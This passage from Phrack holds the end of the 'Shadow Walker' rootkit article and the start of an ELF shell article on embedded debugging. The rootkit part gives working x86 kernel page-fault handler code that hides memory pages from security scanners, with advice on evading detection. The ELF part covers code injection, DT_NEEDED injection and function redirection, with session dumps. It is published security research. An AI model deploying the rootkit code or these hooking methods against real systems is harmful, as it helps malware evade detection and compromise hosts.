The functionality of the page fault handler is relatively straight forward despite the seeming complexity of the scheme. Its primary functions are to determine if a given page fault is originating from a hooked page, resolve the access type, and then load the appropriate TLB. As such, the page fault handler has basically two execution paths. If the page is unhooked, it is passed down to the operating system page fault handler. This is determined as quickly and efficiently as possible. Faults originating from user mode addresses or while the processor is running in user mode are immediately passed down. The fate of kernel mode accesses is also quickly decided via a hash table lookup. Alternatively, once the page has been determined to be hooked the access type is checked and directed to the appropriate TLB loading code (Execute accesses will cause a ITLB load while Read / Write accesses cause a DTLB load). The procedure for TLB loading is as follows:

1. The appropriate physical frame mapping is loaded into the PTE for the faulting address.
2. The page is temporarily marked present.
3. For a DTLB load, a memory read on the hooked page is performed.
4. For an ITLB load, a call into the hooked page is performed.
5. The page is marked as non present again.
6. The old physical frame mapping for the PTE is restored.

After TLB loading, control is directly returned to the faulting code.

```
/***************************************************************************
* NewInt0EHandler - Page fault handler for the memory hook engine (aka. the
*                   guts of this whole thing ;)
*
* Parameters - none
*
* Return -      none
*
***************************************************************************
void __declspec( naked ) NewInt0EHandler(void)
{
        __asm
        {
                pushad
                mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode

                test edx, 0x04 //if the processor was in user mode, then
                jnz PassDown   //pass it down

                mov eax,cr2     //faulting virtual address
                cmp eax, HIGHEST_USER_ADDRESS
                jbe PassDown   //we don’t hook user pages, pass it down
```

```
                ////////////////////////////////////////
                //Determine if it’s a hooked page
                /////////////////////////////////////////
                push eax
                call FindPageInHookedList
                mov ebp, eax //pointer to HOOKED_PAGE structure
                cmp ebp, ERROR_PAGE_NOT_IN_LIST
                jz PassDown  //it’s not a hooked page

                ///////////////////////////////////////
                //NOTE: At this point we know it’s a
                //hooked page. We also only hook
                //kernel mode pages which are either
                //non paged or locked down in memory
                //so we assume that all page tables
                //are resident to resolve the address
                //from here on out.
                /////////////////////////////////////
                mov eax, cr2
                mov esi, PROCESS_PAGE_DIR_BASE
                mov ebx, eax
                shr ebx, 22
                lea ebx, [esi + ebx*4]  //ebx = pPTE for large page
                test [ebx], 0x80        //check if its a large page
                jnz IsLargePage

                mov esi, PROCESS_PAGE_TABLE_BASE
                mov ebx, eax
                shr ebx, 12
                lea ebx, [esi + ebx*4]  //ebx = pPTE

IsLargePage:

                cmp [esp+0x24], eax     //Is due to an attepmted execute?
                jne LoadDTLB

                ////////////////////////////////
                // It’s due to an execute. Load
                // up the ITLB.
                ///////////////////////////////
                cli
                or dword ptr [ebx], 0x01         //mark the page present
                call [ebp].pfnCallIntoHookedPage //load the itlb
                and dword ptr [ebx], 0xFFFFFFFE  //mark page not present
                sti
                jmp ReturnWithoutPassdown

                ////////////////////////////////
                // It’s due to a read /write
                // Load up the DTLB
                ///////////////////////////////
                ///////////////////////////////
                // Check if the read / write
                // is originating from code
                // on the hidden page.
                ///////////////////////////////
LoadDTLB:
                mov edx, [esp+0x24]             //eip
                cmp edx,[ebp].pDriverStarts
                jb LoadFakeFrame
                cmp edx,[ebp].pDriverEnds
                ja LoadFakeFrame

                /////////////////////////////////
                // If the read /write is originating
                // from code on the hidden page,then
                // let it go through. The code on the
                // hidden  page will follow protocol
                // to clear the TLB after the access.
```

```
                ////////////////////////////////
                cli
                or dword ptr [ebx], 0x01           //mark the page present
                mov eax, dword ptr [eax]           //load the DTLB
                and dword ptr [ebx], 0xFFFFFFFE    //mark page not present
                sti
                jmp ReturnWithoutPassdown

                /////////////////////////////////
                // We want to fake out this read
                // write. Our code is not generating
                // it.
                /////////////////////////////////
LoadFakeFrame:
                mov esi, [ebp].pReadWritePte
                mov ecx, dword ptr [esi]            //ecx = PTE of the
                                                    //read / write page

                //replace the frame with the fake one
                mov edi, [ebx]
                and edi, 0x00000FFF //preserve the lower 12 bits of the
                                    //faulting page's PTE
                and ecx, 0xFFFFF000 //isolate the physical address in
                                    //the "fake" page's PTE
                or ecx, edi
                mov edx, [ebx]     //save the old PTE so we can replace it
                cli
                mov [ebx], ecx    //replace the faulting page's phys frame
                                  //address w/ the fake one

                //load the DTLB
                or dword ptr [ebx], 0x01   //mark the page present
                mov eax, cr2               //faulting virtual address
                mov eax, dword ptr[eax]    //do data access to load DTLB
                and dword ptr [ebx], 0xFFFFFFFE //re-mark page not present

                //Finally, restore the original PTE
                mov [ebx], edx
                sti

ReturnWithoutPassDown:
                popad
                add esp,4
                iretd

PassDown:
                popad
                jmp g_OldInt0EHandler

        }//end asm
}//end NewInt0E
```

--[4 - Known Limitations & Performance Impact

As our current rootkit is intended only as a proof of concept demonstration rather than a fully engineered attack tool, it possesses a number of implementational limitations. Most of this functionality could be added, were one so inclined. First, there is no effort to support hyperthreading or multiple processor systems. Additionally, it does not support the Pentium PAE addressing mode which extends the number of physically addressable bits from 32 to 36. Finally, the design is limited to cloaking only 4K sized kernel mode pages (i.e. in the upper 2 GB range of the memory address space). We mention the 4K page limitation because there are currently some technical issues with regard to hiding the 4MB page upon which ntoskrnl resides. Hiding the page containing ntoskrnl would be a noteworthy extension. In terms of performance, we have not completed rigorous testing, but subjectively speaking there is no noticeable performance impact after the rootkit and memory hooking engine are installed. For maximum performance, as mentioned previously, code and data should remain on separate pages and the usage of global data should be minimized to limit the impact on performance if one desires to enable both data and executable page cloaking.

--[5 - Detection

There are at least a few obvious weaknesses that must be dealt with to avoid detection. Our current proof of concept implementation does not address them, however, we note them here for the sake of completeness. Because we must be able to differentiate between normal page faults and those faults related to the memory hook, we impose the requirement that hooked pages must reside in non paged memory. Clearly, non present pages in non paged memory present an abnormality. Weather or not this is a sufficient heuristic to call a rootkit alarm is, however, debatable. Locking down pagable memory using an API like MmProbeAndLockPages is probably more stealthy. The next weakness lies in the need to disguise the presence of the page fault handler. Because the page where the page fault handler resides cannot be marked non present due to the obvious issues with recursive reentry, it will be vulnerable to a simple signature scan and must be obsfucated using more traditional methods. Since this routine is small, written in ASM, and does not rely upon any kernel API's, polymorphism would be a reasonable solution. A related weakness arises in the need to disguise the presence of the IDT hook. We cannot use our memory hooking technique to disguise the modifications to the interrupt descriptor table for similar reasons as the page fault handler. While we could hook the page fault interrupt via an inline hook rather than direct IDT modification, placing a memory hook on the page containing the OS's INT 0E handler is problematic and inline hooks are easily detected. Joanna Rutkowska proposed using the debug registers to hide IDT hooks [5], but Edgar Barbosa demonstrated they are not a completey effective solution [12]. This is due to the fact that debug registersprotect virtual as opposed to physical addresses. One may simply remap the physical frame containing the IDT to a different virtual address and read / write the IDT memory as one pleases. Shadow Walker falls prey to this type of attack as well, based as it is, upon the exploitation of virtual rather than physical memory. Despite this aknowleged weakness, most commercial security scanners still perform virtual rather than physical memory scans and will be fooled by rootkits like Shadow Walker. Finally, Shadow Walker is insidious. Even if a scanner detects Shadow Walker, it will be virtually helpless to remove it on a running system. Were it to successfully over-write the hook with the original OS page fault handler, for example, it would likely BSOD the system because there would be some page faults occurring on the hidden pages which neither it nor the OS would know how to handle.

--[6 - Conclusion

Shadow Walker is not a weaponized attack tool. Its functionality is limited and it makes no effort to hide it's hook on the IDT or its page fault handler code. It provides only a practical proof of concept implementation of virtual memory subversion. By inverting the defensive software implementation of non executalbe memory, we show that it is possible to subvert the view of virtual memory relied upon by the operating system and almost all security scanner applications. Due to its exploitation of the TLB architecture, Shadow Walker is transparent and exhibits an extremely light weight performance hit. Such characteristics will no doubt make it an attractive solution for viruses, worms, and spyware applications in addition to rootkits.

--[7 - References

1. Tripwire, Inc. http://www.tripwire.com/
2. Butler, James, VICE - Catch the hookers! Black Hat, Las Vegas, July, 2004. www.blackhat.com/presentations/bh-usa-04/bh-us-04-butler/bh-us-04-butler.pdf
3. Fuzen, FU Rootkit. http://www.rootkit.com/project.php?id=12
4. Holy Father, Hacker Defender. http://hxdef.czweb.org/
5. Rutkowska, Joanna, Detecting Windows Server Compromises with Patchfinder 2. January, 2004.

6. Butler, James and Hoglund, Greg, Rootkits: Subverting the Windows Kernel. July, 2005.
7. B. Cogswell and M. Russinovich, RootkitRevealer, available at: www.sysinternals.com/ntw2k/freeware/rootkitreveal.shtml
8. F-Secure BlackLight (Helsinki, Finland: F-Secure Corporation, 2005): www.fsecure.com/blacklight/
9. Jack, Barnaby. Remote Windows Exploitation: Step into the Ring 0 http://www.eeye.com/~data/publish/whitepapers/research/OT20050205.FILE.pdf
10. Chong, S.K. Windows Local Kernel Exploitation. http://www.bellua.com/bcs2005/asia05.archive/BCSASIA2005-T04-SK-Windows_Local_Kernel_Exploitation.ppt
11. William A. Arbaugh, Timothy Fraser, Jesus Molina, and Nick L. Petroni: Copilot: A Coprocessor Based Runtime Integrity Monitor. Usenix Security Symposium 2004.
12. Barbosa, Edgar. Avoiding Windows Rootkit Detection http://packetstormsecurity.org/filedesc/bypassEPA.pdf
13. Rutkowska, Joanna. Concepts For The Stealth Windows Rootkit, Sept 2003 http://www.invisiblethings.org/papers/chameleon_concepts.pdf
14. Russinovich, Mark and Solomon, David. Windows Internals, Fourth Edition.

--[8 - Aknowlegements

Thanks and aknowlegements go to Joanna Rutkowska for her Chamelon Project paper as it was one of the inspirations for this project, to the PAX team for showing how to desynchronize the TLB in their software implementation of non executable memory, to Halvar Flake for our inital discussions of the Shadow Walker idea, and to Kayaker for helping beta test and debug some of the code. We would finally like to extend our greetings to all of the contributors on rootkit.com :)

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x09 of 0x14

```
|=-------=[ Embedded ELF Debugging : the middle head of Cerberus ]=------=|
|=-----------------------------------------------------------------------=|
|=-------------=[ The ELF shell crew <elfsh@devhell.org> ]=--------------=|
|=-----------------------------------------------------------------------=|
```


-------[I. Hardened software debugging introduction

In the past, binary manipulation work has focussed on virii writing, software cracking, backdoors deployment, or creation of tiny or obfuscated executables. Besides the tools from the GNU project such as the GNU binutils that includes the GNU debugger [1] (which focus more on portability than functionalities), no major binary manipulation framework does exist. For almost ten years, the ELF format has been a success and most UNIX Operating Systems and distributions rely on it.

However, the existing tools do not take advantage of the format and most of the reverse engineering or debugging softwares are either very architecture specific, or simply do not care about binary internals for extracting and redirecting information.

Since our first published work on the ELF shell, we improved so much the new framework that it is now time to publish a second deep article focussing on advances in static and runtime ELF techniques. We will explain in great details the 8 new binary manipulation functionalities that intersect with the existing reverse engineering methodology. Those techniques allow for a new type of approach on debugging and extending closed source software in hardened environments.

We worked on many architectures (x86, alpha, sparc, mips) and focussed on constrained environments where binaries are linked for including security protections (such as hardened gentoo binaries) in PaX [2] protected machines. It means that our debugger can stay safe if it is injected inside a (local or) remote process.

----[A. Previous work & limits

In the first part of the Cerberus articles serie, we introduced a new residency technique called ET_REL injection. It consisted in compiling C code into relocatable (.o) files and injecting them into existing closed source binary programs. This technique was proposed for INTEL and SPARC architectures on the ELF32 format.

We improved this technique so that both 32 and 64 bits binaries are supported so we added alpha64 and sparc64 support. We also worked on the MIPS r5000 architecture and now provide a nearly complete environment for it as well. We now also allow for ET_REL injection into ET_DYN objects (shared libraries) so that our technique is compatible with fully randomized environments such as provided by Hardened Gentoo with the PaX protection enabled on the Linux Operating System. We also worked on other OS such as BSD based ones, Solaris, and HP-UX and the code was compiled and tested regulary on those as well.

A major innovation of our binary manipulation based debugging framework is the absence of ptrace. We do not use kernel residency like in [8] so that even unprivilegied users can use this and it is not Operating System dependent.

Existing debuggers use to rely on the ptrace system call so that the debugger process can attach the debuggee program and enable various internal processes manipulations such as dumping memory, putting breakpoints, backtracing, and so on. We propose the same features without using the system call.

The reasons why we do not use ptrace are multiple and simple. First of all, a lot of hardened or embedded systems do not implement it, or just disable it. That's the case for grsecurity based systems, production systems, or phone systems whoose Operating System is ELF based but without a ptrace interface.

The second major reason for not using ptrace is the performance penalties of such a debugging system. We do not suffer from performance penalties since the debugger resides in the same process. We provide a full userland technique that does not have to access the kernel memory, thus it is useful in all stages of a penetration testing when debugging sensitive software on hardened environment is needed and no system update is possible.

We allow for plain C code injection inside new binary files (in the static perspective) and processes (in the runtime mode) using a unified software. When requested, we only use ELF techniques that reduce forensics evidences on the disk and only works in memory.

----[B. Beyond PaX and ptrace

Another key point in our framework are the greatly improved redirection techniques. We can redirect almost all control flow, wether or not the function code is placed inside the binary itself (CFLOW technique) or in a library on which the binary depends (Our previous work presented new hijacking techniques such that ALTPLT).

We improved this techniques and passed through many rewrites and now allow a complete architecture independant implementation. We completed ALTPLT by a new technique called ALTGOT so that hijacking a function and calling back the original copy from the hooking function is possible on Alpha and Mips RISC machines as well.

We also created a new technique called EXTPLT which allow for unknown function (for which no dynamic linking information is available at all in the ELF file) using a new postlinking algorithm compatible with ET_EXEC and ET_DYN objets.

----[C. Interface improvements

Our Embedded ELF debugger implementation is a prototype. Understand that it is really usable but we are still in the development process. All the code presented here is known to work. However we are not omniscient and you might encounter a problem. In that case, drop us an email so that we can figure out how to create a patch.

The only assumption that we made is the ability to read the debuggee program. In all case, you can also debug in memory the unreadable binaries on disk by loading the debugger using the LD_PRELOAD variable. Nevertheless, e2dbg is enhanced when binary files are readable. Because the debugger run in the same address space, you can still read memory [3] [4] and restore the binary program even though we do not implement it yet.

The central communication language in the Embedded ELF Debugger (e2dbg) framework is the ELFsh scripting language. We augmented it with loop and conditional control flow, transparent support for lazy typed variables (like perl). The source command (for executing a script inside the current session) and user-defined macros (scriptdir command) are also supported.

We also developed a peer2peer stack so called Distributed Update Management Protocol - DUMP - that allow for linking multiple debugger instances using the network, but this capability is not covered by the article. For completeness, we now support multiusers (parallel or shared) sessions and environment swapping using the workspace command.

We will go through the use of such interface in the first part of the paper. In the second part, we give technical details about the implementation of such features on multiple architectures. The last part is dedicated to the most recent and advanced techniques we developed in the last weeks for constrained debugging in protected binaries. The last algorithms of the paper are architecture independant and constitute the core of the relocation engine in ELFsh.

-------[II. The embedded debugging playground

---[A. In-process injection

We have different techniques for injecting the debugger inside the debuggee process. Thus it will share the address space and the debugger will be able to read its own data and code for getting (and changing) information in the debuggee process.

Because the ELF shell is composed of 40000 lines of code, we did not want to recode everything for allowing process modification. We used some trick that allow us to select wether the modifications are done in memory or on disk. The trick consists in 10 lines of code. Considering the PROFILE macros not beeing mandatory, here is the exact stuff :

(libelfsh/section.c)

```
========= BEGIN DUMP 0 =========

void                    *elfsh_get_raw(elfshsect_t *sect)
{
  ELFSH_PROFILE_IN(__FILE__, __FUNCTION__, __LINE__);

  /* sect->parent->base is always NULL for ET_EXEC */
  if (elfsh_is_debug_mode())
    {
      sect->pdata = (void *) sect->parent->base + sect->shdr->sh_addr;
     ELFSH_PROFILE_ROUT(__FILE__, __FUNCTION__, __LINE__, (sect->pdata));
    }
  if (sect)
    ELFSH_PROFILE_ROUT(__FILE__, __FUNCTION__, __LINE__, (sect->data));

  ELFSH_PROFILE_ERR(__FILE__, __FUNCTION__, __LINE__,
                                       "Invalid parameter", NULL);
}

========= END DUMP 0 =========
```

What is the technique about ? It is quite simple : if the debugger internal flag is set to static mode (on-disk modification), then we return the pointer on the ELFsh internal data cache for the section data we want to access.

However if we are in dynamic mode (process modification), then we just return the address of that section. The debugger runs in the same process and thus will think that the returned address is a readable (or writable) buffer. We can reuse all the ELF shell API by just taking care of using the elfsh_get_raw() function when accessing the ->data pointer. The process/ondisk selection is then transparent for all the debugger/elfsh code.

The idea of injecting code directly inside the process is not new and we studied it for some years now. Embedded code injection is also used in the Windows cracking community [12] for bypassing most of the protections against tracing and debugging, but nowhere else we have seen an implementation of a full debugger, capable of such advanced features like ET_REL injection or function redirection on multiple architectures, both on disk and in memory, with a single code.

---[B. Alternate ondisk and memory ELF scripting (feat. linkmap)

We have 2 approaches for inserting the debugger inside the debuggee program. When using a DT_NEEDED entry and redirecting the main debuggee function onto the main entry point of the ET_DYN debugger, we also inject various sections so that we can perform core techniques such as EXTPLT. That will be described in details in the next part.

The second approach is about using LD_PRELOAD on the debuggee program and putting breakpoints (either by 0xCC opcode on x86 or the equivalent opcode on another architecture, or by function redirection which is available on many architectures and for many kind of functions in the framework).

Since binary modification is needed anyway, we are using the DT_NEEDED technique for adding the library dependance, and all other sections injections or redirection described in this article, before starting the real debugging.

The LD_PRELOAD technique is particulary more useful when you cannot read the binary you want to debug. It is left to the user the choice of debugger injection technique, depending on the needs of the moment.

Let’s see how to use the embedded debugger and its ’mode’ command that does the memory/disk selection. Then we print the Global Offset Table (.got). First the memory GOT is displayed, then we get back in static mode and the ondisk GOT is printed :

```
========= BEGIN DUMP 1 =========

(e2dbg-0.65) list

.::. Working files .::.
[001] Sun Jul 31 19:23:33 2005  D ID: 9 /lib/libncurses.so.5
[002] Sun Jul 31 19:23:33 2005  D ID: 8 /lib/libdl.so.2
[003] Sun Jul 31 19:23:33 2005  D ID: 7 /lib/libtermcap.so.2
[004] Sun Jul 31 19:23:33 2005  D ID: 6 /lib/libreadline.so.5
[005] Sun Jul 31 19:23:33 2005  D ID: 5 /lib/libelfsh.so
[006] Sun Jul 31 19:23:33 2005  D ID: 4 /lib/ld-linux.so.2
[007] Sun Jul 31 19:23:33 2005  D ID: 3 ./ibc.so.6    # e2dbg.so renamed
[008] Sun Jul 31 19:23:33 2005  D ID: 2 /lib/tls/libc.so.6
[009] Sun Jul 31 19:23:33 2005 *D ID: 1 ./a.out_e2dbg # debuggee

.::. ELFsh modules .::.
[*] No loaded module

(e2dbg-0.65) mode

[*] e2dbg is in DYNAMIC MODE

(e2dbg-0.65) got

[Global Offset Table .::. GOT : .got ]
[Object ./a.out_e2dbg]

0x080498E4: [0] 0x00000000       <?>

[Global Offset Table .::. GOT : .got.plt ]
[Object ./a.out_e2dbg]

0x080498E8: [0] 0x0804981C       <_DYNAMIC@a.out_e2dbg>
0x080498EC: [1] 0x00000000       <?>
0x080498F0: [2] 0x00000000       <?>
0x080498F4: [3] 0x0804839E       <fflush@a.out_e2dbg>
0x080498F8: [4] 0x080483AE       <puts@a.out_e2dbg>
0x080498FC: [5] 0x080483BE       <malloc@a.out_e2dbg>
0x08049900: [6] 0x080483CE       <strlen@a.out_e2dbg>
0x08049904: [7] 0x080483DE       <__libc_start_main@a.out_e2dbg>
0x08049908: [8] 0x080483EE       <printf@a.out_e2dbg>
0x0804990C: [9] 0x080483FE       <free@a.out_e2dbg>
0x08049910: [10] 0x0804840E      <read@a.out_e2dbg>

[Global Offset Table .::. GOT : .elfsh.altgot ]
[Object ./a.out_e2dbg]

0x08049928: [0] 0x0804981C      <_DYNAMIC@a.out_e2dbg>
0x0804992C: [1] 0xB7F4A4E8      <_r_debug@ld-linux.so.2 + 24>
0x08049930: [2] 0xB7F3EEC0      <_dl_rtld_di_serinfo@ld-linux.so.2 + 477>
0x08049934: [3] 0x0804839E      <fflush@a.out_e2dbg>
0x08049938: [4] 0x080483AE      <puts@a.out_e2dbg>
0x0804993C: [5] 0xB7E515F0      <__libc_malloc@libc.so.6>
0x08049940: [6] 0x080483CE      <strlen@a.out_e2dbg>
0x08049944: [7] 0xB7E01E50      <__libc_start_main@libc.so.6>
0x08049948: [8] 0x080483EE      <printf@a.out_e2dbg>
0x0804994C: [9] 0x080483FE      <free@a.out_e2dbg>
```

```
0x08049950: [10] 0x0804840E     <read@a.out_e2dbg>
0x08049954: [11] 0xB7DAFFF6     <e2dbg_run@ibc.so.6>

(e2dbg-0.65) mode static

[*] e2dbg is now in STATIC mode

(e2dbg-0.65) # Here we switched in ondisk perspective
(e2dbg-0.65) got

[Global Offset Table .::. GOT : .got ]
[Object ./a.out_e2dbg]

0x080498E4: [0] 0x00000000       <?>

[Global Offset Table .::. GOT : .got.plt ]
[Object ./a.out_e2dbg]

0x080498E8: [0] 0x0804981C       <_DYNAMIC>
0x080498EC: [1] 0x00000000       <?>
0x080498F0: [2] 0x00000000       <?>
0x080498F4: [3] 0x0804839E       <fflush>
0x080498F8: [4] 0x080483AE       <puts>
0x080498FC: [5] 0x080483BE       <malloc>
0x08049900: [6] 0x080483CE       <strlen>
0x08049904: [7] 0x080483DE       <__libc_start_main>
0x08049908: [8] 0x080483EE       <printf>
0x0804990C: [9] 0x080483FE       <free>
0x08049910: [10] 0x0804840E      <read>

[Global Offset Table .::. GOT : .elfsh.altgot ]
[Object ./a.out_e2dbg]

0x08049928: [0] 0x0804981C       <_DYNAMIC>
0x0804992C: [1] 0x00000000       <?>
0x08049930: [2] 0x00000000       <?>
0x08049934: [3] 0x0804839E       <fflush>
0x08049938: [4] 0x080483AE       <puts>
0x0804993C: [5] 0x080483BE       <malloc>
0x08049940: [6] 0x080483CE       <strlen>
0x08049944: [7] 0x080483DE       <__libc_start_main>
0x08049948: [8] 0x080483EE       <printf>
0x0804994C: [9] 0x080483FE       <free>
0x08049950: [10] 0x0804840E      <read>
0x08049954: [11] 0x0804614A      <e2dbg_run + 6>

=========  END DUMP 1 =========
```

There are many things to notice in this dump. First you can verify that it actually does what it is supposed to by looking the first GOT entries which are reserved for the linkmap and the rtld dl-resolve function. Those entries are filled at runtime, so the static GOT version contains NULL pointers for them. However the GOT which stands in memory has them filled.

Also, the new version of the GNU linker does insert multiple GOT sections inside ELF binaries. The .got section handles the pointer for external variables, while .got.plt handles the external function pointers. In earlier versions of LD, those 2 sections were merged. We support both conventions.

Finally, you can see in last the .elfsh.altgot section. That is part of the ALTGOT technique and it will be explained as a standalone algorithm in the next parts of this paper. The ALTGOT technique allow for a size extension of the Global Offset Table. It allows different things depending on the architecture. On x86, ALTGOT is only used when EXTPLT is used, so that we can add extra function to the host file. On MIPS and ALPHA, ALTGOT allows to redirect an extern (PLT) function without losing the real function address. We will develop both of these techniques in the next parts.

---[C. Real debugging : dumping, backtrace, breakpoints

When performing debugging using a debugger embedded in the debuggee process, we do not need ptrace so we cannot modify so easily the process address space. That's why we have to do small static changes : we add the debugger as a DT_NEEDED dependancy. The debugger will also overload some signal handlers (SIGTRAP, SIGINT, SIGSEGV ..) so that it can takes control on those events.

We can redirect functions as well using either the CFLOW or ALTPLT technique using on-disk modification, so that we takes control at the desired moment. Obviously we can also set breakpoints in runtime but that need to mprotect the code zone if it was not writable for the moment. We have idea about how to get rid of mprotect but this was not implemented in that version (0.65). Indeed, many uses of the mprotect system call are incompatible with one of the PaX option). Fortunately we assume for now that we have read access to the debuggee program, which means that we can copy the file and disable that option.

This is how the DT_NEEDED dependence is added :

```
========= BEGIN DUMP 2 =========

elfsh@WTH $ cat inject_e2dbg.esh
#!../../vm/elfsh
load a.out
set 1.dynamic[08].val 0x2
set 1.dynamic[08].tag DT_NEEDED
redir main e2dbg_run
save a.out_e2dbg

=========  END DUMP 2 =========
```

Let's see the modified binary .dynamic section, where the extra DT_NEEDED entries were added using the DT_DEBUG technique that we published 2 years ago [0] :

```
========= BEGIN DUMP 3 =========

elfsh@WTH $ ../../vm/elfsh -f ./a.out -d DT_NEEDED

[*] Object ./a.out has been loaded (O_RDONLY)

[SHT_DYNAMIC]
[Object ./a.out]

[00] Name of needed library => libc.so.6 {DT_NEEDED}

[*] Object ./a.out unloaded

elfsh@WTH $ ../../vm/elfsh -f ./a.out_e2dbg -d DT_NEEDED

[*] Object ./a.out_e2dbg has been loaded (O_RDONLY)

[SHT_DYNAMIC]
[Object ./a.out_e2dbg]
```

```
[00] Name of needed library => libc.so.6 {DT_NEEDED}
[08] Name of needed library => ibc.so.6 {DT_NEEDED}

[*] Object ./a.out_e2dbg unloaded

=========  END DUMP 3 =========


    Let's see how we redirected the main function to the hook_main
    function. You can notice the overwritten bytes between the 2 jmp
    of the hook_main function. This technique is also available MIPS
    architecture, but this dump is from the IA32 implementation :


========= BEGIN DUMP 4 =========

elfsh@WTH $ ../../vm/elfsh -f ./a.out_e2dbg -D main%40

[*] Object ./a.out_e2dbg has been loaded (O_RDONLY)

08045134 [foff: 308] hook_main + 0  jmp   <e2dbg_run>
08045139 [foff: 313] hook_main + 5  push  %ebp
0804513A [foff: 314] hook_main + 6  mov   %esp,%ebp
0804513C [foff: 316] hook_main + 8  push  %esi
0804513D [foff: 317] hook_main + 9  push  %ebx
0804513E [foff: 318] hook_main + 10 jmp   <main + 5>

08045139 [foff: 313] old_main + 0   push  %ebp
0804513A [foff: 314] old_main + 1   mov   %esp,%ebp
0804513C [foff: 316] old_main + 3   push  %esi
0804513D [foff: 317] old_main + 4   push  %ebx
0804513E [foff: 318] old_main + 5   jmp   <main + 5>

08048530 [foff: 13616] main + 0     jmp   <hook_main>
08048535 [foff: 13621] main + 5     sub   $2010,%esp
0804853B [foff: 13627] main + 11    mov   8(%ebp),%ebx
0804853E [foff: 13630] main + 14    mov   C(%ebp),%esi
08048541 [foff: 13633] main + 17    and   $FFFFFFF0,%esp
08048544 [foff: 13636] main + 20    sub   $10,%esp
08048547 [foff: 13639] main + 23    mov   %ebx,4(%esp,1)
0804854B [foff: 13643] main + 27    mov   $<_IO_stdin_used + 43>,(%esp,1)
08048552 [foff: 13650] main + 34    call  <printf>
08048557 [foff: 13655] main + 39    mov   (%esi),%eax

[*] No binary pattern was specified

[*] Object ./a.out_e2dbg unloaded

=========  END DUMP 4 =========


          Let's now execute the debuggee program, in which the
          debugger was injected.


========= BEGIN DUMP 5 =========

elfsh@WTH $ ./a.out_e2dbg


        The Embedded ELF Debugger 0.65 (32 bits built) .::.

        .::. This software is under the General Public License V.2
        .::. Please visit http://www.gnu.org

[*] Sun Jul 31 17:56:52 2005 - New object ./a.out_e2dbg loaded
[*] Sun Jul 31 17:56:52 2005 - New object /lib/tls/libc.so.6 loaded
[*] Sun Jul 31 17:56:53 2005 - New object ./ibc.so.6 loaded
[*] Sun Jul 31 17:56:53 2005 - New object /lib/ld-linux.so.2 loaded
```

```
[*] Sun Jul 31 17:56:53 2005 - New object /lib/libelfsh.so loaded
[*] Sun Jul 31 17:56:53 2005 - New object /lib/libreadline.so.5 loaded
[*] Sun Jul 31 17:56:53 2005 - New object /lib/libtermcap.so.2 loaded
[*] Sun Jul 31 17:56:53 2005 - New object /lib/libdl.so.2 loaded
[*] Sun Jul 31 17:56:53 2005 - New object /lib/libncurses.so.5 loaded

(e2dbg-0.65) b puts

[*] Breakpoint added at <puts@a.out_e2dbg> (0x080483A8)

(e2dbg-0.65) continue

        [..: Embedded ELF Debugger returns to the grave :...]

[e2dbg_run] returning to 0x08045139
[host] main argc 1
[host] argv[0] is : ./a.out_e2dbg

First_printf test

        The Embedded ELF Debugger 0.65 (32 bits built) .::.

        .::. This software is under the General Public License V.2
        .::. Please visit http://www.gnu.org

[*] Sun Jul 31 17:57:03 2005 - New object /lib/tls/libc.so.6 loaded

(e2dbg-0.65) bt

.:: Backtrace ::.
[00] 0xB7DC1EC5 <vm_bt@ibc.so.6 + 208>
[01] 0xB7DC207F <cmd_bt@ibc.so.6 + 152>
[02] 0xB7DBC88C <vm_execmd@ibc.so.6 + 174>
[03] 0xB7DAB4DE <vm_loop@ibc.so.6 + 578>
[04] 0xB7DAB943 <vm_run@ibc.so.6 + 271>
[05] 0xB7DA5FF0 <e2dbg_entry@ibc.so.6 + 110>
[06] 0xB7DA68D6 <e2dbg_genericbp_ia32@ibc.so.6 + 183>
[07] 0xFFFFE440 <_r_debug@ld-linux.so.2 + 1208737648>  # sigtrap retaddr
[08] 0xB7DF7F3B <__libc_start_main@libc.so.6 + 235>
[09] 0x08048441 <_start@a.out_e2dbg + 33>

(e2dbg-0.65) b

.:: Breakpoints ::.

[00] 0x080483A8 <puts@a.out_e2dbg>

(e2dbg-0.65) delete 0x080483A8

[*] Breakpoint at 080483A8 <puts@a.out_e2dbg> removed

(e2dbg-0.65) b

.:: Breakpoints ::.

[*] No breakpoints

(e2dbg-0.65) b printf

[*] Breakpoint added at <printf@a.out_e2dbg> (0x080483E8)

(e2dbg-0.65) dumpregs

.:: Registers ::.

        [EAX] 00000000 (0000000000) <unknown>
        [EBX] 08203F48 (0136331080) <.elfsh.relplt@a.out_e2dbg + 1811272>
        [ECX] 00000000 (0000000000) <unknown>
        [EDX] B7F0C7C0 (3086010304) <__guard@libc.so.6 + 1656>
        [ESI] BFE3B7C4 (3219371972) <_r_debug@ld-linux.so.2 + 133149428>
```

```
        [EDI] BFE3B750 (3219371856) <_r_debug@ld-linux.so.2 + 133149312>
        [ESP] BFE3970C (3219363596) <_r_debug@ld-linux.so.2 + 133141052>
        [EBP] BFE3B738 (3219371832) <_r_debug@ld-linux.so.2 + 133149288>
        [EIP] 080483A9 (0134513577) <puts@a.out_e2dbg>

(e2dbg-0.65) stack 20

.:: Stack ::.
0xBFE37200 0x00000000 <(null)>
0xBFE37204 0xB7DC2091 <vm_dumpstack@ibc.so.6>
0xBFE37208 0xB7DDF5F0 <_GLOBAL_OFFSET_TABLE_@ibc.so.6>
0xBFE3720C 0xBFE3723C <_r_debug@ld-linux.so.2 + 133131628>
0xBFE37210 0xB7DC22E7 <cmd_stack@ibc.so.6 + 298>
0xBFE37214 0x00000014 <_r_debug@ld-linux.so.2 + 1208744772>
0xBFE37218 0xB7DDDD90 <__FUNCTION__.5@ibc.so.6 + 49>
0xBFE3721C 0xBFE37230 <_r_debug@ld-linux.so.2 + 133131616>
0xBFE37220 0xB7DB9DF9 <vm_implicit@ibc.so.6 + 304>
0xBFE37224 0xB7DE1A7C <world@ibc.so.6 + 92>
0xBFE37228 0xB7DA8176 <do_resolve@ibc.so.6>
0xBFE3722C 0x080530B8 <.elfsh.relplt@a.out_e2dbg + 38072>
0xBFE37230 0x00000014 <_r_debug@ld-linux.so.2 + 1208744772>
0xBFE37234 0x08264FF6 <.elfsh.relplt@a.out_e2dbg + 2208758>
0xBFE37238 0xB7DDF5F0 <_GLOBAL_OFFSET_TABLE_@ibc.so.6>
0xBFE3723C 0xBFE3726C <_r_debug@ld-linux.so.2 + 133131676>
0xBFE37240 0xB7DBC88C <vm_execmd@ibc.so.6 + 174>
0xBFE37244 0x0804F208 <.elfsh.relplt@a.out_e2dbg + 22024>
